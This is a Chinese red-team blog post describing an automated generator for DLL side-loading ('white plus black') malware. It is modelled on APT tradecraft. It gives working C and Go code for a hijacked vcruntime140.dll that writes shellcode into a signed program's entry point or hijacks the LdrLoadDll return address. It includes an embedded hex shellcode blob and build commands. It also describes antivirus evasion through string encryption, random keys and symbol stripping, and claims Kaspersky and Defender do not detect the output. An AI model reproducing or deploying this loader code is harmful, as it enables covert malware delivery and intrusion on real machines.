红队开发 - 白加黑自动化生成器.md
2021-10-18 12:44:49 Author: mp.weixin.qq.com(查看原文) 阅读量:60 收藏

参考一些APT组织的攻击手法,它们在投递木马阶段有时候会使用“白加黑”的方式,通常它们会使用一个带有签名的白文件+一个自定义dll文件,所以研究了一下这种白加黑的实现方式以及如何将它自动化生成。

想法

最早源于知识星球的一个想法,利用一些已知的dll劫持的程序作为"模板",自动生成白加黑的程序。

之后在看到了 SigFlip的原理后

  • SigFlip使用和原理.md

  • https://x.hacking8.com/post-427.html

有了这么一个想法,将shellcode写入到签名文件中的不被签名区域,黑dll的作用仅仅是读取白文件中的dll并执行。

同时制作几个白加黑的“模板”,可以根据不同的模板生成不同的白加黑样本。

概念图:

DLL劫持方式

大部分dll劫持只是在dll层面做一层转发,这样投递的话,要将整个软件一起打包,不然程序会运行出错。

而一些APT组织使用的白加黑样本仅仅只需要一个白文件和一个dll,所以dll的劫持方式和通常使用的是不一样的。

简单来说,我们需要让dll加载起来执行命令的同时,阻止它执行原程序的命令,总结了一下,一共有两种类型的dll需要处理,一种dll是存在于白程序的输入表中,一种是白程序输入表中不存在dll,但是它通过 LoadLibrary进行加载的dll。

Pre-Load Dll 劫持

如果dll在白程序的输入表中,我称这种为 pre-load dll(我自己发明的词语)。因为输入表的dll会优先于白程序运行,所以在dll在初始化时,可以先获取shellcode,然后对白程序的入口点进行改写,改写为执行shellcode即可。

用Vscode的更新程序 inno_updater.exe作为例子

inno_updater.exe在运行时会带起 vcruntime140.dll,所以它可以作为劫持的dll。

根据它输入表dll的导出函数,我们自动生成一份对应的导出函数,导出函数不需要任何功能,只要函数名称和它对应上即可。

之后在dllmain里面获取主程序的入口点,然后将shellcode写入入口点,之后主程序运行就会执行我们的shellcode了。

C代码如下

  1. int WINAPI DllMain(HINSTANCE hInstance, DWORD fdwReason, PVOID pvReserved)

  2. {

  3. switch (fdwReason)

  4. {

  5. case DLL_PROCESS_ATTACH:

  6. hello_func();

  7. break;

  8. case DLL_PROCESS_DETACH:

  9. break;

  10. }

  11. return TRUE;

  12. }

  13. void hello_func(){

  14. DWORD baseAddress = (DWORD)GetModuleHandleA(NULL);

  15. PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)baseAddress;

  16. PIMAGE_NT_HEADERS32 ntHeader = (PIMAGE_NT_HEADERS32)(baseAddress + dosHeader->e_lfanew);

  17. DWORD entryPoint = (DWORD)baseAddress + ntHeader->OptionalHeader.AddressOfEntryPoint;

  18. DWORD old;

  19. VirtualProtect(entryPoint, size, 0x40, &old);

  20. for(int i=0;i<size;i++){

  21. *((PBYTE)entryPoint+i) = shellcode[i];

  22. }

  23. VirtualProtect(entryPoint, size, old, &old);

Post-Load Dll劫持

dll在主程序导入表没有,而是程序通过 LoadLibrary动态调用的,我称这类dll为 post-load类型(我自己发明的词语)。

当程序使用 LoadLibrary进行加载的时候,它的调用堆栈类似以下

  1. KernelBase!LoadLibraryExW <- 要求动态模块加载

  2. ntdll!LdrLoadDll

  3. ntdll!LdrpLoadDll

  4. ntdll!LdrpLoadDllInternal

  5. ntdll!LdrpPrepareModuleForExecution

  6. ntdll!LdrpInitializeGraphRecurse <- 建立依赖关系图

  7. ntdll!LdrpInitializeNode

  8. ntdll!LdrpCallInitRoutine

  9. evil!DllMain <- 执行被传递给外部代码

所以此类dll劫持的,可以通过劫持 ntdllLdrLoadDll堆栈的返回地址,让程序LoadLibrary之后跳到我们的程序空间。

C语言代码

  1. char evilstring[10] = {0x90};

  2. DWORD ldrLoadDll = (DWORD)GetProcAddress(GetModuleHandle("ntdll"), "LdrLoadDll");

  3. DWORD* stack =evilstring+(int)evilstring%4;

  4. while (1)

  5. {

  6. stack++;

  7. if(stack > ldrLoadDll + 0x1000){

  8. printf("over\n");

  9. break;

  10. }

  11. if (*stack > ldrLoadDll && *stack < ldrLoadDll + 0x1000) {

  12. *stack = (DWORD)Memory;

  13. break;

  14. }

  15. }

你可以使用内嵌汇编的方式获得堆栈地址,我使用C语言的一个特性,我申明了一个小的变量

  1. char evilstring[10] = {0x90};

C语言会自动将它放到堆栈中,所以这个变量的地址即是堆栈的地址了。接着从堆栈向上寻找地址,如果发现地址和 LdrLoadDll相差不多的话,就是我们寻找的 LdrLoadDll的返回地址,hook它即可获得代码的执行权。

Golang与自动生成

我想用Golang编写劫持的dll,这样也方便可以做成在线平台。

C代码转换为Go

读取PE入口点用来写shellcode,用Windows API GetModuleHandle可以得到PE进程的内存地址,根据内存地址加减偏移就可以得到入口点。

我原本使用了 github.com/Binject/debug/pe库,它里面有一个 pe.NewFileFromMemory()函数,可以直接从内存中读取,但是它的参数是需要一个 io类型,文件的io自身有很多api,但是对内存的io,资料好少。

最后找了很多资料,发现只能自己实现io的接口

  1. type ReaderAt interface {

  2. ReadAt(p []byte, off int64) (n int, err error)

  3. }

但问题来了, ReadAt接口要求我们自己读完了就返回 io.EOF,我是从内存空间读的,我不知道什么时候读完。

就这么纠结了好久,虽然现在写的时候想到了,我可以实现这个 ReadAt,长度我可以生成模板的时候硬写进去,但又感觉没必要,因为我根据PE的偏移写好了。

直接就不用它的库了,手动根据偏移去寻找入口点。

  1. var (

  2. kernel32 = syscall.NewLazyDLL("kernel32.dll")

  3. getModuleHandle = kernel32.NewProc("GetModuleHandleW")

  4. procVirtualProtect = kernel32.NewProc("VirtualProtect")

  5. )

  6. func GetModuleHandle() (handle uintptr) {

  7. ret, _, _ := getModuleHandle.Call(0)

  8. handle = ret

  9. return

  10. }

  11. // 将shellcode写入程序ep

  12. func loader_from_ep(shellcode []byte) {

  13. baseAddress := GetModuleHandle()

  14. fmt.Println(strconv.FormatInt(int64(baseAddress), 16))

  15. // pe读dos header

  16. ptr := unsafe.Pointer(baseAddress + uintptr(0x3c))

  17. v := (*uint32)(ptr)

  18. ntHeaderOffset := *v

  19. //ptr = unsafe.Pointer(baseAddress + uintptr(ntHeaderOffset) + uintptr(0x4))

  20. //v2 := (*uint16)(ptr)

  21. // 这个可以读取PE的架构信息,最后发现入口点的偏移都是固定的

  22. // x32和x64通用

  23. ptr = unsafe.Pointer(baseAddress + uintptr(ntHeaderOffset) + uintptr(40))

  24. ep := (*uint32)(ptr)

  25. fmt.Println(ep, *ep)

  26. var entryPoint uintptr

  27. entryPoint = baseAddress + uintptr(*ep)

  28. var oldfperms uint32

  29. if !VirtualProtect(unsafe.Pointer(entryPoint), unsafe.Sizeof(uintptr(len(shellcode))), uint32(0x40), unsafe.Pointer(&oldfperms)) {

  30. panic("Call to VirtualProtect failed!")

  31. }

  32. WriteMemory(shellcode, entryPoint)

  33. if !VirtualProtect(unsafe.Pointer(entryPoint), uintptr(len(shellcode)), uint32(oldfperms), unsafe.Pointer(&oldfperms)) {

  34. panic("Call to VirtualProtect failed!")

  35. }

  36. }

Go实现DllMain

DllMain是dll在创建或退出时的消息函数,要把shellcode写入PE的入口点,就必须在这里执行代码。但是Go里面没有这样相关的定义,搜索资料,有人说用 init()函数可以,我试了下, init()函数执行是在代码运行的时候加载的,也就是pe运行了,执行到了相关导出函数的时候,会先执行 init()代码,但是这个时候写shellcode到PE头部就已经没用了。

最后发现了怎么做,就是混编C和Go,而且比较麻烦。

dllmain.go

  1. package main

  2. //#include "dllmain.h"

  3. import "C"

dllmain.h

  1. #include <windows.h>

  2. extern void test();

  3. BOOL WINAPI DllMain(

  4. HINSTANCE _hinstDLL, // handle to DLL module

  5. DWORD _fdwReason, // reason for calling function

  6. LPVOID _lpReserved) // reserved

  7. {

  8. switch (_fdwReason) {

  9. case DLL_PROCESS_ATTACH:

  10. CreateThread(NULL, 0, test, NULL, 0, NULL);

  11. break;

  12. case DLL_PROCESS_DETACH:

  13. // Perform any necessary cleanup.

  14. break;

  15. case DLL_THREAD_DETACH:

  16. // Do thread-specific cleanup.

  17. break;

  18. case DLL_THREAD_ATTACH:

  19. // Do thread-specific initialization.

  20. break;

  21. }

  22. return TRUE; // Successful.

  23. }

main.go

  1. package main

  2. import "C"

  3. import (

  4. "encoding/hex"

  5. "fmt"

  6. "strconv"

  7. "syscall"

  8. "unsafe"

  9. )

  10. const (

  11. MEM_COMMIT = 0x00001000

  12. MEM_RESERVE = 0x00002000

  13. MEM_RELEASE = 0x8000

  14. PAGE_READWRITE = 0x04

  15. )

  16. var (

  17. kernel32 = syscall.NewLazyDLL("kernel32.dll")

  18. getModuleHandle = kernel32.NewProc("GetModuleHandleW")

  19. procVirtualProtect = kernel32.NewProc("VirtualProtect")

  20. )

  21. //WriteMemory writes the provided memory to the specified memory address. Does **not** check permissions, may cause panic if memory is not writable etc.

  22. func WriteMemory(inbuf []byte, destination uintptr) {

  23. for index := uint32(0); index < uint32(len(inbuf)); index++ {

  24. writePtr := unsafe.Pointer(destination + uintptr(index))

  25. v := (*byte)(writePtr)

  26. *v = inbuf[index]

  27. }

  28. }

  29. func GetModuleHandle() (handle uintptr) {

  30. ret, _, _ := getModuleHandle.Call(0)

  31. handle = ret

  32. return

  33. }

  34. func VirtualProtect(lpAddress unsafe.Pointer, dwSize uintptr, flNewProtect uint32, lpflOldProtect unsafe.Pointer) bool {

  35. ret, _, _ := procVirtualProtect.Call(

  36. uintptr(lpAddress),

  37. uintptr(dwSize),

  38. uintptr(flNewProtect),

  39. uintptr(lpflOldProtect))

  40. return ret > 0

  41. }

  42. // 将shellcode写入程序ep

  43. func loader_from_ep(shellcode []byte) {

  44. baseAddress := GetModuleHandle()

  45. ptr := unsafe.Pointer(baseAddress + uintptr(0x3c))

  46. v := (*uint32)(ptr)

  47. ntHeaderOffset := *v

  48. ptr = unsafe.Pointer(baseAddress + uintptr(ntHeaderOffset) + uintptr(40))

  49. ep := (*uint32)(ptr)

  50. var entryPoint uintptr

  51. entryPoint = baseAddress + uintptr(*ep)

  52. var oldfperms uint32

  53. if !VirtualProtect(unsafe.Pointer(entryPoint), unsafe.Sizeof(uintptr(len(shellcode))), uint32(0x40), unsafe.Pointer(&oldfperms)) {

  54. panic("Call to VirtualProtect failed!")

  55. }

  56. WriteMemory(shellcode, entryPoint)

  57. if !VirtualProtect(unsafe.Pointer(entryPoint), uintptr(len(shellcode)), uint32(oldfperms), unsafe.Pointer(&oldfperms)) {

  58. panic("Call to VirtualProtect failed!")

  59. }

  60. }

  61. //export _except_handler4_common

  62. func _except_handler4_common() {}

  63. //export memcmp

  64. func memcmp() {}

  65. //export memcpy

  66. func memcpy() {}

  67. //export memset

  68. func memset() {}

  69. //export memmove

  70. func memmove() {}

  71. //export test

  72. func test() {

  73. shellcode, err := hex.DecodeString("fce8820000006089e531c0648b50308b520c8b52148b72280fb74a2631ffac3c617c022c20c1cf0d01c7e2f252578b52108b4a3c8b4c1178e34801d1518b592001d38b4918e33a498b348b01d631ffacc1cf0d01c738e075f6037df83b7d2475e4588b582401d3668b0c4b8b581c01d38b048b01d0894424245b5b61595a51ffe05f5f5a8b12eb8d5d6a018d85b20000005068318b6f87ffd5bbf0b5a25668a695bd9dffd53c067c0a80fbe07505bb4713726f6a0053ffd563616c6300") // calc的shellcode

  74. if err != nil {

  75. panic(err)

  76. }

  77. loader_from_ep(shellcode)

  78. }

  79. func main() {

  80. }

编译脚本 (Windows上)

  1. set GOOS=windows

  2. set GOARCH=386

  3. set CGO_ENABLED=1

  4. go build -ldflags "-s -w" -o vcruntime140.dll -buildmode=c-shared

Golang与死锁

在DllMain DLLPROCESSATTACH的时候,我想调用go里面的 test函数,我必须使用线程。。如果直接调用,不使用线程的话,它会一直卡住,用od调试,发现它卡在了死锁上。。

Go程序内部调用了wait

用了CreateThread可以,但是这个时候它是先执行了入口点,而我们之前 Pre-load的方式要求dll要在白程序之前执行。

我的解决方式是在白程序入口点写入死循环代码,同时启动一个线程执行go函数。

死循环的代码就随便发挥了

  1. 77C71B73 50 push eax

  2. 77C71B74 58 pop eax

  3. 77C71B75 ^ EB FC jmp short 77C71B73

消失的代码

有了之前被死锁的经验, post-load类型的dll我这样写的,用C代码搜索堆栈,如果找到了 LdrLoadDll堆栈函数范围的地址则直接把堆栈地址修改成go函数的地址。

cgo中dllmain.h代码,因为测试了几次发现不行,加了个 MessageBoxW代码方便调试。

  1. #include <windows.h>

  2. extern void test();

  3. void dlljack2(){

  4. char evilstring[10] = { 0x90 };

  5. DWORD ldrLoadDll = (DWORD)GetProcAddress(GetModuleHandleA("ntdll"), "LdrLoadDll");

  6. DWORD* stack = (DWORD)evilstring + (DWORD)evilstring % 4;

  7. while (1)

  8. {

  9. stack++;

  10. if ((DWORD)stack > ldrLoadDll + 0x1000) {

  11. break;

  12. }

  13. if (*stack > ldrLoadDll && *stack < ldrLoadDll + 0x1000) {

  14. *stack = (DWORD)test;

  15. MessageBoxW(0,0,0,0);

  16. break;

  17. }

  18. }

  19. }

  20. BOOL WINAPI DllMain(

  21. HINSTANCE _hinstDLL, // handle to DLL module

  22. DWORD _fdwReason, // reason for calling function

  23. LPVOID _lpReserved) // reserved

  24. {

  25. switch (_fdwReason) {

  26. case DLL_PROCESS_ATTACH:

  27. MessageBoxW(0,0,0,0);

  28. dlljack2();

  29. break;

  30. case DLL_PROCESS_DETACH:

  31. // Perform any necessary cleanup.

  32. break;

  33. case DLL_THREAD_DETACH:

  34. // Do thread-specific cleanup.

  35. break;

  36. case DLL_THREAD_ATTACH:

  37. // Do thread-specific initialization.

  38. break;

  39. }

  40. return TRUE; // Successful.

  41. }

测试了几次发现不行,于是我用ida看了下代码。

  1. *stack = (DWORD)test;

我的这行代码将test函数地址赋值给堆栈的代码竟然凭空消失了。

很百思不得其解,难道编译器不认识语法将代码给优化了?顺着这个思路,我换成用 memcpy进行内存赋值,代码也没出现。

最后加上一个printf,代码就出现了。。

自动化生成器

前面核心的内容跑通了,后面自动化生成就是理所当然的,这方面没什么困难的,就是注意一下加一些对抗的东西,比如生成的源码里面的字符串全部加密,用于加解密shellcode的key全部随机化生成。将源码一起打包,并告诉编译方式,这样即使生成的dll被杀了也没关系,自己改改又可以继续了。

一些核心功能:

  • 收集一些白加黑文件,制作成模板

  • 解析白文件pe,将shellcode写入证书目录

  • 根据模板来生成劫持dll

  • go-strip进行符号混淆

  • docker环境进行交叉编译

  • 自动调用go命令进行编译

  • 自动打包成zip

生成的文件会包含:

  • 成品的白加黑文件

  • 用于dll劫持的go源码文件,方便自行进行一些处理

  • readme说明文件,说明了每个文件的作用以及编译方法

概念性demo测试网站已经完成。

公众号回复 白加黑即可得到网址。

因为需要启动docker进行交叉编译,为防止资源浪费,仅限 Hacking8安全信息流注册用户学习和使用。

杀毒测试

测试了国内的几个都不杀,卡巴静态也能过,windows defender 也不杀也能正常上线。

并且白进程会一直驻留。


文章来源: http://mp.weixin.qq.com/s?__biz=MzU2NzcwNTY3Mg==&mid=2247484276&idx=1&sn=b238c1c9cfdb6d5475b5ac046e049220&chksm=fc986a53cbefe3459d348e5f139075f71eb1efa40980bbdd7ed7ca3969ad83119f3a9e430801#rd
如有侵权请联系:admin#unsafe.sh